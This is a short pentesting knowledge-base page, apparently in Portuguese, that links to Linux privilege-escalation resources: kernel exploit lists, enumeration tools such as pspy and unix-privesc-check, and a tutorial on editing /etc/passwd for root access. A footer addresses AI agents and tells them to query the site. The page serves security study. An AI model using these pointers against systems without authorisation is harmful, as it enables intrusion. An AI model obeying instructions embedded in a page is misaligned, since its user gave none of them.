```bash
# Lista de Kernel e seus devidos exploits
https://github.com/lucyoa/kernel-exploits

# Unix Privesc Check
https://pentestmonkey.net/tools/audit/unix-privesc-check

# pspy
https://github.com/DominicBreuker/pspy

# NfSpy
https://github.com/bonsaiviking/NfSpy

# Sensitive Files
https://github.com/xMilkPowderx/OSCP/blob/master/File%20Inclusion.md

# Tutorial para privesc com o arquivo /etc/passwd
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux  
https://linuxconfig.org/how-to-create-systemd-service-unit-in-linux
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://github.com/AlessandroZ/BeRoot/tree/master/Linux

# Diversos comandos úteis para Enumerar e fazer PrivEsc
https://www.rebootuser.com/?page_id=1721

https://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/linux/privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.